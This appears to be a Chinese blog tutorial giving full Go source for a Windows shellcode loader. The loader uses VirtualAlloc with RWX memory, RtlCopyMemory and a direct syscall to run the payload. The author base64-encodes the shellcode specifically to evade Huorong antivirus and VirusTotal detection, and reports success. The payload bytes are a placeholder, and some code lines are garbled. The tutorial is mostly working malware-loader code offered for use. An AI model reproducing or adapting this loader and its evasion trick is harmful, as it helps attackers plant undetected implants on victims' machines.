介绍
通过go来加载shellcode从而使机器上线,在原生go加载shellcode代码的基础上,稍微变换了一点点姿势。
代码
main.go
主函数入口,主要的加载功能,和网上的加载器几乎一致并且一模一样。
package main
import (
"os"
"syscall"
"test02/load"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll") //调用kernel32.dll
ntdll = syscall.MustLoadDLL("ntdll.dll") //调用ntdll.dll
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") //使用kernel32.dll调用ViretualAlloc函数
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") //使用ntdll调用RtCopyMemory函数
)
func checkErr(err error) {
if err != nil { //如果内存调用出现错误,可以报出
if err.Error() != "The operation completed successfully." { //如果调用dll系统发出警告,但是程序运行成功,则不进行警报
println(err.Error()) //报出具体错误
os.Exit(1)
}
}
}
func main() {
load.Pcode()
shellcode := load.Pcode()
//调用VirtualAlloc为shellcode申请一块内存
addr, , err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEMCOMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if addr == 0 {
checkErr(err)
}
//调用RtlCopyMemory来将shellcode加载进内存当中
, , err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
checkErr(err)
//syscall来运行shellcode
syscall.Syscall(addr, 0, 0, 0, 0)
}
load.go
存放shellcode的包文件,由于本机存在一个火绒,在测试的时候每次都是把shellcode直接给我杀了,而且在没调用加载器,仅仅是打印shellcode的情况下都能被火绒给杀,所以就直接将shellcode进行了base64编码保存在了里面,然后再去编译的话火绒就不杀了。
package load
import (
"encoding/base64"
"fmt"
)
func Payload() []byte {
var code = []byte{
// 杀payload
0xfc, 0x48, 0x83,,
}
return code
}
func B64Code() string {
b64 := "把shellcode进行base64编码后放置于此"
return b64
}
func Test() {
fmt.Println("test")
}
func Pcode() []byte {
// scode := []byte(Payload()) // 调用Payload函数获取shellcode
// ecode := base64.StdEncoding.EncodeToString(scode) //对shellcode进行base64编码,但是这样的话会导致识别出原生的shellcode,从而被杀。
// fmt.Println(ecode)
ecode := B64Code()
acode, err := base64.StdEncoding.DecodeString(ecode)
fmt.Println(err)
//fmt.Println(acode)
dcode := []byte(acode)
return dcode
}
编译后实现上线:
效果对比
原生的加载shellcode编译后上传到VT平台进行测试效果如下:
稍微变化一下并编译上传到VT平台后进行测试效果如下:
结尾
shellcode在原始形态下几乎是逃不掉被杀的命运,虽然这里只是简单的将shellcode进行了base64编码再调入内存执行,但是这样的话很多杀软也无法识别出这是一个有害程序,有些杀软针对内存的检查,查杀等特别严格,那种情况就是另一种情况了。